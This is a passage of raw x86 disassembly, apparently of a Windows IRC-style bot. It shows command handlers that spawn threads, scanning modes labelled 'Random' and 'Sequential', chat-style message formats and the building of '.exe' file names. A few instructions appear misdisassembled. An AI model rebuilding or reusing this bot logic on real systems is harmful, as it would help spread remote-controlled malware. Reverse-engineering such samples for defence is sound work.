		jmp	short loc_40E4C8
; ---------------------------------------------------------------------------


loc_40E49D:				; CODE XREF: seg000:0040E488j
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40E4AC
		cmp	byte ptr [eax],	23h
		jnz	short loc_40E4AC
		push	eax
		jmp	short loc_40E48B
; ---------------------------------------------------------------------------


loc_40E4AC:				; CODE XREF: seg000:0040E4A2j
					; seg000:0040E4A7j
		mov	esi, offset dword_4282D8
		push	offset byte_42E348
		push	esi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E48A
		mov	[ebp-3A0h], bl


loc_40E4C8:				; CODE XREF: seg000:0040E49Bj
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40E4DA
		mov	eax, offset aSequential	; "Sequential"


loc_40E4DA:				; CODE XREF: seg000:0040E4D3j
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42A058
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_413059
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_405E47
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40E568


loc_40E552:				; CODE XREF: seg000:0040E566j
		cmp	[ebp-2ECh], ebx
		jnz	loc_40DCB7
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40E552
; ---------------------------------------------------------------------------


loc_40E568:				; CODE XREF: seg000:0040E550j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A00C
		jmp	loc_40DCA8
; ---------------------------------------------------------------------------


loc_40E579:				; CODE XREF: seg000:0040D98Ej
					; seg000:0040D9A5j
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_4348B0[eax], bl
		jz	loc_410E98
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	edi
		call	sub_413DB0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_413DB0
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_413DB0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413B80
		mov	esi, eax
		lea	eax, [ebp-2C8h]
		push	esi
		push	offset dword_42A000
		push	eax
		call	sub_4135AD
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_410E98
		push	edi
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		jle	loc_410E98
		push	edi
		call	sub_413B1F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_410E98
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4348A4[eax]
		call	sub_4110B0
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_434698[eax], 73h
		jnz	loc_410E98
		push	esi
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4348B0
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_40E661:				; CODE XREF: seg000:0040E75Ej
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0


loc_40E686:				; CODE XREF: seg000:004105FEj
		add	esp, 28h
		jmp	loc_410E98
; ---------------------------------------------------------------------------


loc_40E68E:				; CODE XREF: seg000:0040D960j
					; seg000:0040D977j
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_4348B0[eax], bl
		jz	loc_410E98
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	edi
		call	sub_413DB0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_413DB0
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_413DB0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413B80
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_410E98
		push	edi
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		jle	loc_410E98
		push	edi
		call	sub_413B1F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_410E98
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4348A4[eax]
		call	sub_4110B0
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_434698[eax], 73h
		jnz	loc_410E98
		push	esi
		push	edi
		call	sub_413B1F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4348B0
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_40E661
; ---------------------------------------------------------------------------


loc_40E763:				; CODE XREF: seg000:0040D932j
					; seg000:0040D949j
		push	edi
		call	ds:dword_42F748
		push	dword ptr [ebp+20h]
		mov	[ebp-460h], eax
		call	sub_413B1F
		push	dword ptr [ebp+8]
		mov	[ebp-46Ch], eax
		call	sub_413B1F
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-468h], eax
		lea	eax, [ebp-4ECh]
		mov	[ebp-4F0h], esi
		push	eax
		call	sub_414DD0
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-458h], edi
		push	dword ptr [ebp-468h]
		mov	[ebp-454h], eax
		push	dword ptr [ebp-46Ch]
		push	dword ptr [ebp-460h]
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_429F90
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_413059
		add	esp, 20h
		mov	[ebp-464h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F0h]
		push	ebx
		push	eax
		push	offset sub_4128CD
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-464h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40E845


loc_40E82F:				; CODE XREF: seg000:0040E843j
		cmp	[ebp-450h], ebx
		jnz	loc_410417
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40E82F
; ---------------------------------------------------------------------------


loc_40E845:				; CODE XREF: seg000:0040E82Dj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429F40
		jmp	loc_410408
; ---------------------------------------------------------------------------


loc_40E856:				; CODE XREF: seg000:0040D904j
					; seg000:0040D91Bj
		push	edi
		call	sub_413B1F
		push	7Fh
		mov	[ebp-300h], eax
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_414DD0
		push	dword ptr [ebp+8]
		call	sub_413B1F
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-304h], eax
		lea	eax, [ebp-384h]
		push	80h
		push	eax
		mov	[ebp-40Ch], esi
		call	sub_413B2A
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-2F0h], eax
		push	dword ptr [ebp-304h]
		lea	eax, [ebp-404h]
		mov	[ebp-2F4h], edi
		push	eax
		push	dword ptr [ebp-300h]
		push	esi
		call	sub_408619
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_429EF0
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	10h
		push	eax
		call	sub_413059
		add	esp, 24h
		mov	[ebp-2FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	ebx
		push	eax
		push	offset sub_4060A6
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-2FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40E93F


loc_40E929:				; CODE XREF: seg000:0040E93Dj
		cmp	[ebp-2ECh], ebx
		jnz	loc_410417
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40E929
; ---------------------------------------------------------------------------


loc_40E93F:				; CODE XREF: seg000:0040E927j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429E9C
		jmp	loc_410408
; ---------------------------------------------------------------------------


loc_40E950:				; CODE XREF: seg000:0040D8D6j
					; seg000:0040D8EDj
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_414DD0
		push	0FFh
		lea	eax, [ebp-688h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_414DD0
		push	dword ptr [ebp+8]
		mov	[ebp-584h], ebx
		call	sub_413B1F
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_40E9AC
		push	10h
		push	ebx
		push	eax
		call	sub_414B19
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_40E9B2
; ---------------------------------------------------------------------------


loc_40E9AC:				; CODE XREF: seg000:0040E996j
		mov	[ebp-578h], ebx


loc_40E9B2:				; CODE XREF: seg000:0040E9AAj
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	short loc_40E9C9
		push	esi
		call	sub_413B1F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40E9CF
; ---------------------------------------------------------------------------


loc_40E9C9:				; CODE XREF: seg000:0040E9B8j
		mov	[ebp-57Ch], ebx


loc_40E9CF:				; CODE XREF: seg000:0040E9C7j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_414DD0
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset unk_429E5C
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp-2C8h]
		push	15h
		push	eax
		call	sub_413059
		add	esp, 28h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_40A17D
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40EA7D


loc_40EA67:				; CODE XREF: seg000:0040EA7Bj
		cmp	[ebp-568h], ebx
		jnz	loc_40E0EE
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40EA67
; ---------------------------------------------------------------------------


loc_40EA7D:				; CODE XREF: seg000:0040EA65j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429E08
		jmp	loc_40EC80
; ---------------------------------------------------------------------------


loc_40EA8E:				; CODE XREF: seg000:0040D8A8j
					; seg000:0040D8BFj
		push	7Fh
		lea	eax, [ebp-774h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_414DD0
		push	esi
		lea	eax, [ebp-6F4h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_414DD0
		push	esi
		lea	eax, [ebp-674h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_414DD0
		push	esi
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_414DD0
		mov	eax, [ebp-8]
		push	dword ptr [ebp+8]
		mov	esi, [ebp-4]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+20h]
		mov	[ebp-778h], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset dword_429DC8
		push	eax
		mov	[ebp-570h], esi
		call	sub_4135AD
		add	esp, 44h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Bh
		push	eax
		call	sub_413059
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-778h]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40EB61


loc_40EB4F:				; CODE XREF: seg000:0040EB5Fj
		cmp	[ebp-568h], ebx
		jnz	short loc_40EB7C
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40EB4F
; ---------------------------------------------------------------------------


loc_40EB61:				; CODE XREF: seg000:0040EB4Dj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_429D7C
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_40EB7C:				; CODE XREF: seg000:0040EB55j
		cmp	[ebp-8], ebx
		jnz	loc_410D58
		push	ebx
		push	esi
		jmp	loc_40DCC4
; ---------------------------------------------------------------------------


loc_40EB8C:				; CODE XREF: seg000:0040D863j
					; seg000:0040D87Aj ...
		push	7Fh
		lea	eax, [ebp-7F0h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_414DD0
		push	esi
		lea	eax, [ebp-770h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_414DD0
		push	esi
		lea	eax, [ebp-6F0h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_414DD0
		push	esi
		lea	eax, [ebp-670h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_414DD0
		push	20h
		lea	eax, [ebp-5F0h]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_414DD0
		mov	eax, [ebp-4]
		push	dword ptr [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_429D38
		push	eax
		mov	[ebp-7F8h], esi
		call	sub_4135AD
		add	esp, 50h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Ah
		push	eax
		call	sub_413059
		add	esp, 0Ch
		mov	[ebp-7F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-7F8h]
		push	ebx
		push	eax
		push	offset start
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-7F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40EC74


loc_40EC5E:				; CODE XREF: seg000:0040EC72j
		cmp	[ebp-568h], ebx
		jnz	loc_40E0EE
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40EC5E
; ---------------------------------------------------------------------------


loc_40EC74:				; CODE XREF: seg000:0040EC5Cj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429CEC


loc_40EC80:				; CODE XREF: seg000:0040E0D0j
					; seg000:0040E21Bj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		jmp	loc_40E0EB
; ---------------------------------------------------------------------------


loc_40EC91:				; CODE XREF: seg000:0040D835j
					; seg000:0040D84Cj
		push	7Fh
		lea	eax, [ebp-444h]
		push	edi
		push	eax
		call	sub_414DD0
		push	dword ptr [ebp+20h]
		call	sub_413B1F
		push	3Fh
		mov	[ebp-2F4h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C4h]
		push	eax
		call	sub_414DD0
		mov	esi, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40ECDF
		push	3Fh
		lea	eax, [ebp-384h]
		push	esi
		push	eax
		call	sub_414DD0
		add	esp, 0Ch


loc_40ECDF:				; CODE XREF: seg000:0040ECCBj
		lea	eax, [ebp-3C4h]
		mov	dword ptr [ebp-2F0h], 1
		push	eax
		lea	eax, [ebp-444h]
		push	dword ptr [ebp-2F4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_429CA8
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	17h
		push	eax
		call	sub_413059
		add	esp, 20h
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-448h]
		push	ebx
		push	eax
		push	offset sub_40B07B
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-2ECh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40ED6B


loc_40ED55:				; CODE XREF: seg000:0040ED69j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40DC19
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40ED55
; ---------------------------------------------------------------------------


loc_40ED6B:				; CODE XREF: seg000:0040ED53j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429C5C
		jmp	loc_40DC0A
; ---------------------------------------------------------------------------


loc_40ED7C:				; CODE XREF: seg000:0040D7F5j
					; seg000:0040D80Cj
		push	dword ptr [ebp+20h]
		call	sub_413B1F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40EE6D
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_413B2A
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_413B2A
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		push	edi
		push	offset unk_429C1C
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_413B2A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Dh
		push	eax
		call	sub_413059
		add	esp, 38h
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401447
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40EE5C


loc_40EE46:				; CODE XREF: seg000:0040EE5Aj
		cmp	[ebp-568h], ebx
		jnz	loc_40DCB7
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40EE46
; ---------------------------------------------------------------------------


loc_40EE5C:				; CODE XREF: seg000:0040EE44j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429BD0
		jmp	loc_40DCA8
; ---------------------------------------------------------------------------


loc_40EE6D:				; CODE XREF: seg000:0040ED8Dj
		push	offset unk_429B84
		jmp	loc_410536
; ---------------------------------------------------------------------------


loc_40EE77:				; CODE XREF: seg000:0040D7C7j
					; seg000:0040D7DEj
		push	dword ptr [ebp+20h]
		push	edi
		call	near ptr 0A70000h
		aas
		test	eax, eax
		jz	short loc_40EEA4
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_429B4C
		push	200h
		push	eax
		call	sub_413B2A
		jmp	loc_40F6C7
; ---------------------------------------------------------------------------


loc_40EEA4:				; CODE XREF: seg000:0040EE83j
		push	offset dword_429B2C
		call	loc_4080B0
		push	eax
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 10h
		jmp	loc_40DCB7
; ---------------------------------------------------------------------------


loc_40EEC8:				; CODE XREF: seg000:0040D799j
					; seg000:0040D7B0j
		push	edi
		lea	eax, [ebp-77Ch]
		push	104h
		push	eax
		call	sub_413B2A
		add	esp, 0Ch
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EF02
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40EF02
		push	eax
		lea	eax, [ebp-678h]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_40EF02:				; CODE XREF: seg000:0040EEE0j
					; seg000:0040EEF1j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-7FCh]
		push	80h
		push	eax
		call	sub_413B2A
		mov	eax, [ebp+0Ch]
		mov	[ebp-800h], eax
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-678h]
		push	eax
		lea	eax, [ebp-77Ch]
		push	eax
		push	offset unk_429AE8
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_413B2A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Bh
		push	eax
		call	sub_413059
		add	esp, 2Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-800h]
		push	ebx
		push	eax
		push	offset sub_406C30
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40EFB5


loc_40EF9F:				; CODE XREF: seg000:0040EFB3j
		cmp	[ebp-568h], ebx
		jnz	loc_410D58
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40EF9F
; ---------------------------------------------------------------------------


loc_40EFB5:				; CODE XREF: seg000:0040EF9Dj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429A98
		jmp	loc_410D49
; ---------------------------------------------------------------------------


loc_40EFC6:				; CODE XREF: seg000:0040D76Bj
					; seg000:0040D782j ...
		push	44h
		lea	eax, [ebp-48Ch]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_413630
		push	1
		mov	[ebp-48Ch], esi
		pop	esi
		mov	[ebp-45Ch], bx
		push	edi
		mov	[ebp-460h], esi
		call	sub_413B1F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_40F003
		mov	word ptr [ebp-45Ch], 5


loc_40F003:				; CODE XREF: seg000:0040EFF8j
		cmp	[ebp-0Ch], ebx
		jz	loc_40DC19
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40DC19
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-48Ch]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 0A70000h
		jge	short loc_40EFC6
		sal	byte ptr [ebp+18h], 68h
		pusha
		call	far ptr	0FD38h:858D0042h ; CODE	XREF: seg000:0040F1E0j
					; seg000:0040F873j ...
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
; ---------------------------------------------------------------------------
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	loc_40DC19
; ---------------------------------------------------------------------------
		push	edi
		push	offset unk_429A34
		jmp	loc_40DC0A
; ---------------------------------------------------------------------------


loc_40F067:				; CODE XREF: seg000:0040D73Dj
					; seg000:0040D754j
		push	dword ptr [ebp+20h]
		push	offset aVds017	; "vds017"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1DB
		lea	eax, [ebp-3E8h]
		push	eax
		push	104h
		call	near ptr 0A70000h
		int	3		; Trap to Debugger
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_414DD0
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41248A
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		lea	eax, [ebp-688h]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4135AD
		mov	eax, [ebp+esi-88h]
		add	esp, 20h
		cmp	eax, ebx
		mov	dword ptr [ebp-584h], 1
		mov	[ebp-580h], ebx
		jz	short loc_40F0F9
		push	10h
		push	ebx
		push	eax
		call	sub_414B19
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_40F0FF
; ---------------------------------------------------------------------------


loc_40F0F9:				; CODE XREF: seg000:0040F0E3j
		mov	[ebp-578h], ebx


loc_40F0FF:				; CODE XREF: seg000:0040F0F7j
		mov	esi, [ebp+esi-84h]
		cmp	esi, ebx
		jz	short loc_40F119
		push	esi
		call	sub_413B1F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40F11F
; ---------------------------------------------------------------------------


loc_40F119:				; CODE XREF: seg000:0040F108j
		mov	[ebp-57Ch], ebx


loc_40F11F:				; CODE XREF: seg000:0040F117j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_414DD0
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		lea	eax, [ebp-2C8h]
		push	offset unk_4299E8
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp-2C8h]
		push	16h
		push	eax
		call	sub_413059
		add	esp, 24h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_40A17D
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40F1CA


loc_40F1B4:				; CODE XREF: seg000:0040F1C8j
		cmp	[ebp-568h], ebx
		jnz	loc_40DC19
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40F1B4
; ---------------------------------------------------------------------------


loc_40F1CA:				; CODE XREF: seg000:0040F1B2j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429998
		jmp	loc_40DC0A
; ---------------------------------------------------------------------------


loc_40F1DB:				; CODE XREF: seg000:0040F078j
		push	offset unk_429940
		jmp	near ptr loc_40F046+3
; ---------------------------------------------------------------------------


loc_40F1E5:				; CODE XREF: seg000:0040D70Fj
					; seg000:0040D726j
		push	dword ptr [ebp-90h]
		push	offset dword_42B7D8
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B71F
		cmp	[ebp-0Ch], ebx
		jz	loc_40B71F
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_429930
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_414DD0
		push	edi
		call	sub_413B1F
		add	esp, 30h
		test	eax, eax
		jle	short loc_40F26C
		push	edi
		call	sub_413B1F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_41F058	; Sleep


loc_40F26C:				; CODE XREF: seg000:0040F256j
		push	offset dword_429908
		call	sub_409615
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_40B722
; ---------------------------------------------------------------------------


loc_40F280:				; CODE XREF: seg000:0040D6E1j
					; seg000:0040D6F8j
		push	dword ptr [ebp-90h]
		push	offset dword_42B7D8
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B71F
		cmp	[ebp-0Ch], ebx
		jz	loc_410E98
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		mov	esi, eax
		mov	eax, [ebp+20h]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4139D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_40F33C
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_429930
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_414DD0
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_4298D4
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615
		push	edi
		call	sub_413B1F
		add	esp, 38h
		test	eax, eax
